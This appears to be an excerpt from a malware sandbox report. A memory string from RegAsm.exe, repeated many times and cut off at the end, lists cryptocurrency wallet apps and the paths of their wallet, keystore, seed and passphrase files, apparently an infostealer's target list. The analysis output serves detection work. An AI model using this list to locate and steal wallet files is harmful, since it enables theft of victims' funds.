Source: RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi 